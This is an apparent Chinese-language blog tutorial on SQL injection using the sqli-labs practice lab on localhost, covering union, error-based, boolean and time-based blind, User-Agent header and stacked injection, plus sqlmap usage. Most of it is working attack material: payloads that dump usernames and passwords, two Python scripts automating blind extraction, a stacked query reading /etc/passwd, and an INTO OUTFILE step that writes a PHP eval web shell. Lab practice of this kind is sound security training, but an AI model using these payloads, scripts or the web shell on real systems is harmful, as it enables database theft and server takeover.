【SQL注入】sqli-labs手注+sqlmap


理论知识

1. SQL注入的原理:

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2. 注入攻击的本质:

把用户输入的数据当做代码执行。

3. 注入的关键:

①用户能控制输入
②原本要执行的代码,拼接了用户输入的数据然后进行执行

4. 注入类型判断:

?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
SELECT * FROM users WHERE id=1 and 1=2

?id=1' and 1=1 -- q?id=1' and 1=2 -- q进行测试如果1=1页面显示正常,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=2-- q

字符型还可以这么判断:
?id=1'and 1=1 and '1'='1?id=1'and 1=2 and '1'='1

  1. 联合查询基本语句:
    SELECT <字段名> FROM <表名>
    UNION
    SELECT <字段名> FROM <表名>

UNION 操作符上下两个结果集的列数必须相等,否则会报错。因此需要先判断出列数。

一、联合注入

less-1:

手注

1. 注入类型判断

在这里插入图片描述
在这里插入图片描述

通过测试?id=1' and 1=1 -- q?id=1' and 1=2 -- q,发现为字符型注入。

2. 判断列数

?id=1' order by 3 -- q

判断出列数为3:

在这里插入图片描述

3.判断显示位

?id=-1' union select 1,2,3 -- q

判断出回显位在2,3位置:

在这里插入图片描述

4.爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- q

爆出表名有:emails,referers,uagents,users

在这里插入图片描述

5.爆列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆出列名有:id,username,password

在这里插入图片描述

6.爆账号密码

?id=-1 union select 1,2,group_concat(username ,id , password) from users

爆出账号密码:Dumb1Dumb,Angelina2I-kill-you,Dummy3p@ssword,secure4crappy,stupid5stupidity,superman6genious,batman7mob!le,admin8admin,admin19admin1,admin210admin2,admin311admin3,dhakkan12dumbo,admin414admin4

在这里插入图片描述

sqlmap

1. 基础指令:

–dbs 获取库名
-D 指定库
–tables 表
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql --tables
-T 指定表
–columns 跑字段
–dump 获取数据(高危指令)
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql -T user --dump

2.sqlmap实操

python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 --dbs

跑出数据库名:

在这里插入图片描述

python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security --tables

跑出数据库security的表名:

在这里插入图片描述

python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security -T users --columns
跑出users表的列名:

在这里插入图片描述

python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security -T users --dump
跑出账号密码:

在这里插入图片描述

二、 报错注入

报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。

less-5:

手注

1.爆出数据库及相关信息

1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) -- q

‘0x7e’是’~’
在这里插入图片描述

2. 爆当前数据库表信息

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- q

在这里插入图片描述

3. 爆user表字段信息

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- q

在这里插入图片描述

4.爆数据库内容

1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from security.users)),1) -- q

在这里插入图片描述

sqlmap

同less-1,只需用基础的sqlmap语法就可跑出内容,比起less-1,要改的只有题号less-5:

python sqlmap.py -u 127.0.0.1/sql/less-5/?id=1 -D security -T users --dump

在这里插入图片描述

三、布尔盲注

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

less-8:

手注

布尔型盲注会返回“对与错”两种结果,“对错”就称为“布尔”。

在这里插入图片描述

没有任何提示,因为它把错误信息隐藏了,所以并不能用基于错误的注入,只能用盲注。

1.判断注入类型

?id=1' and '1'='1
?id=1' and '1'='2

确定为单引号字符型注入:

在这里插入图片描述

2.数据库名

判断库名长度:
?id=1’ and length((database()))=8 – q
确定数据库名长度为8:
在这里插入图片描述

逐一字符判断库名:
?id=1’ and ascii(substr((select database()),1,1))=115 – q
语法:substr(a,b,c) a是要截取的字段,b是要截取的位置,c是截取的长度:
确定数据库名的第一个字符的ASCII码值为115,对应字符‘s’
在这里插入图片描述

3.表名

判断表名长度:

?id=1' and length((select group_concat(table_name)from information_schema.tables where table_schema=database()))=29 -- q

逐一表名:

?id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))=101 -- q

4.字段名

判断字段长度:

?id=1' and length((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name = 'users' ))=20 -- q

逐一字段名:

?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name = 'users' ),1,1))=105 -- q

5.字段内容

判断字段内容长度:

?id=1' and length((select group_concat(username,password)from users))=175 -- q

逐一字段内容:

?id=1' and ascii(substr((select group_concat(username,password)from users),1,1))=68 -- q

6.盲注脚本

参考脚本:

import requests
import string

url = 'http://127.0.0.1/sql/Less-8/'

def make_payload(query):
    return url + "?id=" + query

def make_request(payload):
    res = requests.get(payload)
    return 'You are in...........' in res.text

# 猜解数据库长度
print('[+] 正在猜解数据库长度......')
db_name_len = 0
for i in range(31):
    payload = make_payload("1'and length(database())=%d--+" % i)
    if make_request(payload):
        db_name_len = i
        print('数据库长度为:', db_name_len)
        break
else:
    print('error!')

# 猜解数据库名字
print("[+] 正在猜解数据库名字......")
db_name = ''
for i in range(1, db_name_len + 1):
    for k in string.ascii_lowercase:
        payload = make_payload("1'and substr(database(),%d,1)='%s'--+" % (i, k))
        if make_request(payload):
            db_name += k
            break
print("数据库为:", db_name)

# 猜解表的数量
print("[+] 正在猜解表的数量......")
tab_num = 0
while True:
    payload = make_payload("1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num)
    if make_request(payload):
        print("%s数据库共有%d张表" % (db_name, tab_num))
        break
    else:
        tab_num += 1

# 猜解表名
print("[+] 开始猜解表名......")
for i in range(1, tab_num + 1):
    tab_len = 0
    while True:
        payload = make_payload("1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (i-1, tab_len))
        if make_request(payload):
            break
        tab_len += 1
        if tab_len == 30:
            print('error!')
            break
    tab_name = ''
    for j in range(1, tab_len + 1):
        for m in string.ascii_lowercase:
            payload = make_payload("1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (i-1, j, m))
            if make_request(payload):
                tab_name += m
                break
    print("[-] 第%d张表名为: %s" % (i, tab_name))

    # 猜解表下字段
    dump_num = 0
    while True:
        payload = make_payload("1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (tab_name, dump_num))
        if make_request(payload):
            print("%s表下有%d个字段" % (tab_name, dump_num))
            break
        dump_num += 1

    for a in range(1, dump_num + 1):
        dump_len = 0
        while True:
            payload = make_payload("1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+" % (tab_name, a-1, dump_len))
            if make_request(payload):
                break
            dump_len += 1
            if dump_len == 30:
                print("error!!")
                break
        dump_name = ''
        for i in range(1, dump_len + 1):
            for j in (string.ascii_lowercase + '_-'):
                payload = make_payload("1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+" % (tab_name, a-1, i, j))
                if make_request(payload):
                    dump_name += j
                    break
        print(dump_name)

# 猜解users表下的username
print("[+] 开始猜解users表下的username......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:
    payload = make_payload("1'and (select count(username) from security.users)=%d--+" % usn_num)
    if make_request(payload):
        break
    usn_num += 1
for i in range(1, usn_num + 1):
    usn_len = 0
    while True:
        payload = make_payload("1'and (select length(username) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
        if make_request(payload):
            break
        usn_len += 1
    usr_name = ''
    for k in range(1, usn_len + 1):
        for m in char:
            payload = make_payload("1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
            if make_request(payload):
                usr_name += m
                break
    print(usr_name)

# 猜解users表下的password
print("[+] 开始猜解users表下的password......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:
    payload = make_payload("1'and (select count(password) from security.users)=%d--+" % usn_num)
    if make_request(payload):
        break
    usn_num += 1
for i in range(1, usn_num + 1):
    usn_len = 0
    while True:
        payload = make_payload("1'and (select length(password) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
        if make_request(payload):
            break
        usn_len += 1
    usr_name = ''
    for k in range(1, usn_len + 1):
        for m in char:
            payload = make_payload("1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
            if make_request(payload):
                usr_name += m
                break
    print(usr_name)

sqlmap

sqlmap同样只用基础语法就可以跑出数据库内容:
在这里插入图片描述

四、时间盲注

时间盲注 和 Bool 盲注很像,区别就是 “参照物” 的不同,时间盲注可以在布尔盲注的基础上结合 if 判断和 sleep() 函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断。也就是所谓的 “时间盲注”,又叫“延时注入”。

less-9

手注

1.判断注入类型

?id=1' and sleep(3)%23

输入id=1时,发现延迟,说明注入成功,注入类型为单引号字符型注入。

2.数据库名

?id=1'and if(length(database())=8,sleep(6),1)%23

明显延迟,说明数据库长度为8。

3.表名

?id=1'and if (left(database(),1)='s',sleep(6),1)%23

发现有明显延迟,则第一个字母为s。

4.字段名

?id=1'and if (left((select table_name from information_schema.tables where table_schema=database() limit3,1),1)='u',sleep(6),1)%23

明显延迟,说明字段第一个字母为u。

5.盲注脚本

参考脚本:

import requests
# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>{i},1,sleep(2))"
        r = requests.get(url + '%23')
        if r.elapsed.total_seconds()>2:
            print('database_length:', i)
            return i
            
#获取数据库名
def database_name(databaselen):
     name = ''
     for j in range(1, databaselen+1):
        for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr(database(),%d,1)='%s',sleep(2),1)" % (j, i)
            #print(url+'%23')
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
     print('database_name:', name)

# 获取数据库表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('table_name:', name)

# 获取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(column_name) from information_schema.columns where " \
                  "table_schema=database() and table_name='users'),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('column_name:', name)

# 获取username
def username_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(username) from users),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('username_value:', name)

# 获取password
def password_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(password) from users),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('password_value:', name)

if __name__ == '__main__':
    dblen = database_len()
    database_name(dblen)
    tables_name()
    columns_name()
    username_value()
    password_value()

sqlmap

sqlmap语句和上面布尔盲注一样,因为布尔盲注能跑的,也一定能跑时间盲注,只是判断标志不同罢了。

五、请求头注入

less-18

手注

输入正确的用户名和密码登录成功后会返回user-agent在屏幕上,这里我爆出了用户名和密码均为admin:

在这里插入图片描述

1.注入点

可能的注入点就有两个:登录框、请求头UA,阅读源码发现:
登录框那里,要求用户名和密码都必须输入内容但又被过滤了,而use-agent的接收是未经过严格过滤的,所以在user-agent处注入。

2.闭合语句

利用的语句是这条:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

闭合时需要考虑VALUES位置的闭合,例如1’,1,1)#
在语句中就是这样:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#', '$IP', $uname)

这样就闭合了VALUES,
在uagent中的pyload就该是:

1',1,updatexml(1,concat(0x7e,database()),1))#

在这里插入图片描述
确定数据库名为security

3.获取表名

1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#

得到security中的表名:
在这里插入图片描述

4.获取列名

1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1))#

得到users表中的字段名:

在这里插入图片描述

5.获取密码

1',1,updatexml(1,concat(0x7e,(select group_concat(password) from users)),1))#

在这里插入图片描述存在长度限制,因为报错语句只能回显32位,使用MID()函数提取我们需要的字符。构造pyload如下:

1',1,updatexml(1,concat(0x7e,mid((select group_concat(password) from users),32,32)),1))#

在这里插入图片描述继续构造pyload:

1',1,updatexml(1,concat(0x7e,mid((select group_concat(password) from users),64,32)),1))#

在这里插入图片描述
知道不再显示新的内容,拼接起来就是全部密码。

sqlmap

正确登录用户名和密码,登录时用BP抓包,将抓到的包复制到文件1.txt,在user-agent后面添加sqlmap识别的点:

User-Agent: ' * ,1)#

在这里插入图片描述
使用sqlmap指令如下:

python sqlmap.py -r 1.txt --dbs

-r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)

在这里插入图片描述
跑数据库security中的表:

python sqlmap.py -r 1.txt -D security --tables

在这里插入图片描述
跑表users中的内容:

python sqlmap.py -r 1.txt -D security -T users --dump

在这里插入图片描述
跑出了所有用户名和密码。

六、sql注入写马

less-7

手注

mysql select into outfile命令
该命令的作用是将被select选择的一行写入一个文件中。
要想拥有写文件权限,需要将mysql配置文件,my.ini中的secure_file_priv=(空),如果没有这一行文件,自行添加,之后重启mysql服务生效。

在这里插入图片描述
如下:
在这里插入图片描述
在这里插入图片描述

1.判断闭合

该题的闭合姿势是:单引号加双引号 '))

?id=1'))and 1=1 -- q
?id=1'))and 1=2 -- q

在这里插入图片描述

2.写马

该题是用outfile写入一句话木马,不过有两个前置条件:

  1. 有写入权限。已知权限我们已经打开。
  2. 知道网站在服务器上的绝对路径。绝对路径在这关无法得知,因为没有回显,前几关有回显可以在前几关获得。联合注入,使用@@datadir这句语句可以知道MYSQL的数据文件路径,从而推测需要的绝对路径。
?id=-1' union select 1,2,@@datadir -- q

在这里插入图片描述

如图可知我的绝对路径为(注意是反双斜杠):D:\phpStudy\www\sqli\Less-7

写马:

?id=-1')) union select 1,2,'<?php eval(@$_POST["1"]);?>' into outfile"D:\\phpStudy\\WWW\\sqli\\Less-7\\1.php"-- q

在这里插入图片描述
回显报错没关系,其实已经写进去了,前提是你的权限打开,如果写入失败请检查是否secure_file_priv=(空)并重启mysql。
使用蚁剑连接:

在这里插入图片描述
在这里插入图片描述

sqlmap

此题用sqlmap跑的话基础语句就足够,就是简单的盲注,
正确返回You are in… Use outfile…
错误返回You have an error in your SQL syntax。
sqlmap语句:

python sqlmap.py -u 127.0.0.1/sqli/less-7/?id=1 --dbs

明明可以布尔盲注sqlmap却去跑时间盲注,过程太慢了,就不再赘述。
在这里插入图片描述

七、堆叠注入

less-38

手注

在SQL 中, 分号(;)是用来表示一条sql 语句的结束。我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。它与union联合注入的区别在于它可以执行任意语句。
一旦存在堆叠注入,它对数据库的危害极大,因为它可以任意增删改查数据库。堆叠注入一般不会存在,限制多语句执行就可以阻止堆叠注入。
此题与less-1一样,是单引号字符型注入,也是同样的注入方法。

堆叠注入攻击

新建一个表select * from users;create table A like users;
删除创建的A表select * from users;drop table test;
查询数据select * from users;select B,C,D;
加载文件select * from users;select load_file('/etc/passwd');
增加一条数据select * from users;insert into users values(18,'zhong','zhong');

sqlmap

sqlmap语句:python sqlmap.py -u 127.0.0.1/sqli/less-38/?id=

1.数据库名

python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= --dbs

在这里插入图片描述

2.表名

跑security数据库中的数据表:

python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= -D security --tables

在这里插入图片描述

3.表内容

跑出users表内的内容:

python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= -D security -T users --dump

在这里插入图片描述

  • 1
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值